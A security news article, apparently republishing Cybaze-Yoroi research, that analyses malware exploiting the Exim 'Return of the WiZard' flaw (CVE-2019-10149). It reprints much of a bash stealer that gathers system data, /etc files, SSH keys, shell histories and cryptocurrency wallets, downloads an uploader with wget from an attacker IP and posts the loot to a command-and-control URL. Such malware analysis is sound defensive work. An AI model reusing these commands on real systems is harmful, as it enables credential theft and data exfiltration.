CVE-2019-10149: “Return of the WiZard” Vulnerability: Crooks Start Hitting

Malware researchers at Cybaze-Yoroi ZLAB observed many attack attempts trying to spread malware abusing the CVE-2019-10149 issue.

Introduction

In the past days, a really important issue has been disclosed to the public: “Return of the WiZard” vulnerability (ref. EW N030619, CVE-2019-10149). Such vulnerability affected a wide range of Exim servers, one of the main email server technologies, extremely diffused all around the globe and in Italy too. 

Recently, cyber-criminals groups abused this vulnerability to compromise exposed Exim mail server in the wild. During this time, Cybaze-Yoroi ZLAB observed many attack attempts trying to spread malware abusing the CVE-2019-10149 issue, for instance the SSH reverse shell first spotted by Magni R. Sigurdsson (Security Researcher), which abuses ToR network to distribute its payload, or also the 9th June wave which tried to download a particular Linux agent. Yoroi-Cybaze ZLab analyzed this malware threat.

Technical Analysis

Exim is a message transfer agent (MTA) developed at the University of Cambridge for Unix systems connected to the Internet. It was designed on the assumption that it would be run on hosts that are permanently connected to the Internet. Thanks to the “Return of the WiZard” vulnerability, a malformed email sent to Exim servers allows attackers to execute code under the Exim process access level, root on most servers. The entire infection chain begins with an SMTP dialog containing a specifically crafted “RCPT_TO” field.

For instance:

At this point, the vulnerable Exim Server locally executes the crafted part.

The Bash Stealer

Hash	1c8f184c3cf902bafc9df23b13a5d51cf801026bc3bde9d6b05cf047523ac6ed
Threat	Bash Stealer
Brief Description	Initial bash payload dropped after Exim exploit
Ssdeep	48:r+GMfper8pnPDA7pIgOznRsbb9tanhc6zghOk1Y2y6EYX+UDLBoySval:r+GMfp6ubEmZz6ig0vK

Table 1: Information about sh script

The SH file is not merely a dropper of another stage of the malware. It retrieves information about the infected machine, starting from the hostname and ending into the bitcoin wallets and system configurations, making it look like a quite complete stealer too. In this section we deepen all the features of this sample.

1. #!/bin/shexport PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin:/usr/local/sbinexport LC_ALL=Cexport HISTFILE=/dev/nullexport HISTSIZE=0
2. HOME=/rootunset DISPLAYexport UPLOAD_URL=https://85.25.84[.99/up.php
3. NOLS=0NOETC=0NODUP=1V=2UF=temp3754r97y$V

Snippet 1: Declarations of global variables and IP of the C2

First of all, the script set different variables visible at all child processes thanks to “export” command. An interesting variable is “UPLOAD_URL” containing a first remote location “hxxps://85[.25.84.99/up[.php” part of the attacker infrastructure. The C2 is hosted by a German Managed Cloud Service Provider ️(PlusServer GmbH).

Second interesting part of the script is the function “snd()” defined follow.

1. snd () { sh -c “UPLOAD_FILE=\”$1\” UPLOAD_NAME=\”$(hostname).tbz2\” UPLOAD_URL=$UPLOAD_URL atd &”; }

Snippet 2: “snd()” function used to upload stolen information

This line of the script is one of the most important of all the infection chain. It launches a shell command with three exported variables “UPLOAD_FILE”, “UPLOAD_NAME”, “UPLOAD_URL” and then the “atd” file is executed. It is described in the section “The payload”. Instead, the final part of the script is:

1. # EXIM
2. tail -n 100 /etc/*release /etc/version > system.version 2>/dev/nullip addr > ip 2>/dev/nulliptables-save > iptables 2>/dev/nullip6tables-save > ip6tables 2>/dev/null
3. # /EXIM end exim
4. hostname > hostnameuname -a > unameecho `date -u` ‘(‘`$(which date)`’)’ > dateuptime > uptimew > wid > id
5. ps auxwwwwwTH > psps auxwwwwwf > ps-forestps auxwwwwwfe > ps-env
6. cat /proc/meminfo > meminfo 2>/dev/nullcat /proc/cpuinfo > cpuinfo 2>/dev/nullifconfig -a > ifconfig 2>/dev/nulldf > df 2>/dev/nulldmesg > dmesg 2>/dev/nullmount > mount 2>/dev/nullenv > env 2>/dev/null
7. lspci -k > lspci 2>/dev/nulllsusb > lsusb 2>/dev/null
8. netstat -antpuxwenW > netstat 2>/dev/nullroute -en > route 2>/dev/null
9. # other kernel info
10. cat /proc/modules > lsmod 2>/dev/nullcp /proc/version /proc/cmdline /proc/filesystems . 2>/dev/nulllscpu > lscpu 2>/dev/null
11. # copy stuff from /etc?
12. if [ $NOETC –eq 0 ]; then mkdir $main_dir/root/sysinfo/etc cd $main_dir/root/sysinfo/etc cp -pRL /etc/*release /etc/cron* /etc/*version /etc/issue* /etc/hosts* /etc/motd /etc/passwd /etc/apache2 /etc/httpd /etc/nginx /etc/resolv* /etc/wpa* . 2>/dev/null cd –fi
13. cd $main_dir/root
14. # list some dirs
15. if [ $NOLS –eq 0 ]; then ls -laR /boot > ls-boot 2>&1 ls -laR /etc > ls-etc 2>&1fi
16. # compress n clean up
17. cd $main_dirtar -cj –exclude ‘root/sysinfo/etc/httpd/modules*’ –exclude ‘root/sysinfo/etc/httpd/lib*’ –exclude ‘root/sysinfo/etc/httpd/man*’ -f $BASE/rf root
18. # drop source files
19. rm -rf $main_dir &
20. # ready to send!
21. cd $BASE
22. wget -q http://173.212.214.137/se -O atd || wget -q http://173.212.214.137/icantgetit -O /dev/nulltest `stat -c %s atd` –eq 610932 && chmod +x atd && snd rf

Snippet 3: Piece of sh script utilized to grab all victim machine

In the “#EXIM” section the script gather the following information:  system version, ip, iptables status, ip6tables status. However, the “#EXIM” label is misleading because this piece of code refers only to information about the machine network configuration and no EXIM configuration is retrieved. After this, the script continues to gather other information like:

• Name of the host
• Operating system name
• Date in UTC and CEST format
• Server uptime
• Summary of every user logged into a computer
• User ID
• Running process
• Information about memory
• Info about CPU
• IPv4
• Disk Space
• Message contained in Kernel buffer
• Filesystem structure
• All current environment variables
• All peripherals and PCI bus
• All USB bus
• State of established connection
• Information about routing tables
• kernel modules
• Information about CPU architecture

In the section labeled “#copy stuff from /etc?”, the script steals all the files stored in /etc/ path. Its loot is stored on “$main_dir/root/sysinfo/etc” where $main_dir is “/var/tmp”. It contains a copy of the whole Apache and Nginx configuration folders, and the system users and groups.

1. # copy stuff from /etc?
2. if [ $NOETC –eq 0 ]; then
3. mkdir $main_dir/root/sysinfo/etc
4. cd $main_dir/root/sysinfo/etc
5. cp -pRL /etc/*release /etc/cron* /etc/*version /etc/issue* /etc/hosts* /etc/motd /etc/passwd /etc/apache2 /etc/httpd /etc/nginx /etc/resolv* /etc/wpa* . 2>/dev/null
6. cd –
7. fi

Snippet 4: Copy of all files contained in /etc path

In addition, the following piece of code shows the script snippet able to steal cryptocoin wallets and to pillage other interesting files. For instance user’s ssh configs and configuration files of remote management tools, like Remmina, Rdesk and VNC potentially enabling further network compromise. Moreover, it gathers DB client configuration files for DbShell and Redis, along with user command history too.

1. cd $HOME && tar cf $main_dir/root/root.tar \ .*coin/w*dat .*Coin/w*dat .dash*/w*dat .dash*/*.conf .*coin/*.conf .*Coin/*.conf *address.txt \ *coin/w*dat *Coin/w*dat .vnc* .redis* .rdesk* .remmina \ /home/*/.*coin/w*dat /home/*/.dash*/w*dat /home/*/.dash*/*conf /home/*/.*Coin/w*dat /home/*/.*coin/*.conf /home/*/.*Coin/*.conf \ /home/*/.ssh /home/*/.remmina /home/*/.vnc* /home/*/.redis* /home/*/.rdesk* /home/*/.remmina \ /home/*/.bash* /home/*/.zsh* /home/*/.*hist* /home/*/.profile /home/*/.dbshell 2>/dev/null
2. cd $main_dir/root/

Snippet 5: Grab of all information on ssh, remmina, vnc, redis and rdesk configuration files.

Finally, all these information are compressed, sent to the C2 using the previously mentioned “snd()” function and then removed from the machine. The last lines of the script downloads another piece of malware: an ELF32 executable hosted on the same server at  “hxxp://173[.212.214[.137/se”. It  is the “atd” file referenced in the “snd()” function.

The ELF Uploader

Hash	d8a787dc774748bf26e3dce1b079e9bef071c0327b6adcd8cc71ed956365201c
Threat	ELF Uploader
Brief Description	Malware downloaded after exim exploitation packed with UPX compressor
Ssdeep	12288:FyqFENCHmitUVm9Q8vvsOjIE7WmUlwUJoAAxgeB2DMX+H0XxDTcKe+DduDkEbAd+:FyqusHBWEQ8vk

Table 2: Information about se (ELF file packed with UPX)

This sample was compressed with the standard UPX compressor. The unpacked payload is:

Hash	b4bae03ab71439208b79edfc5eaec42babacee982231dce001b70ec42835063a
Threat	ELF Uploader unpacked
Brief Description	ELF Uploader unpacked
Ssdeep	49152:VZSOaCFC/z4Amq7DkCteu3VD69+xA1PbHrmFbTZJy:VotCFC/zoq0CguZs5LrmFPy

Table 3: Information about se (ELF file Unpacked)

Analyzing it, we found the malware tries to find three environment variables: “UPLOAD_FILE”, “UPLOAD_NAME” and “UPLOAD_URL”. All those have been declared in the “snd()” function and are used as parameters for the further execution, suggesting this piece of code may be a custom tool prepared by the attacker.

If the three parameters exist, then the malware contacts the remote destination in order to upload all the data through a series of POST request to the “/up.php” resource.  As previously mentioned, the three parameters are read as environment variable in the bash command line. So, once loaded the required parameters, we are able to  correctly debug the malware. In the figure above, we reported how the malware retrieves one of the defined parameters, the “/var/tmp/temp3754r97y2” folder, which contains the loot gathered by the Bash Stealer. Indeed, Figure 12 shows the routine used by the malware to contact the C2 and it is visible in clear in the address pointed by the ESI register.

Conclusion

This attack wave shows how  simple can be for an attacker to run a widespread attacks with customized malware, threatening all the unpatched Exim services exposed all around the Internet. In this analysis, we encountered an effective information stealer able to easily gather sensitive information about the compromised system. These information could also enable the crooks behind the campaign to further escalate the attack within victims and victim partners networks.

Anyway, this case represents only one possible attack scenario abusing the “Return of the WiZard” vulnerability: cryptominers, botnets or also ransomwares could also leverage this weakness, along with APT groups. So, the Yoroi-Cybaze researchers recommend to update Exim servers in order to avoid the risk of other attack waves.

Technical details, including IoCs and Yara Rules, are available in the analysis published in the Yoroi blog.

https://blog.yoroi.company/research/the-return-of-the-wizard-vulnerability-crooks-start-hitting/

[adrotate banner=”9″][adrotate banner=”12″]

Pierluigi Paganini

(SecurityAffairs – CVE-2019-10149, Exim)

[adrotate banner=”5″]

[adrotate banner=”13″]

---

---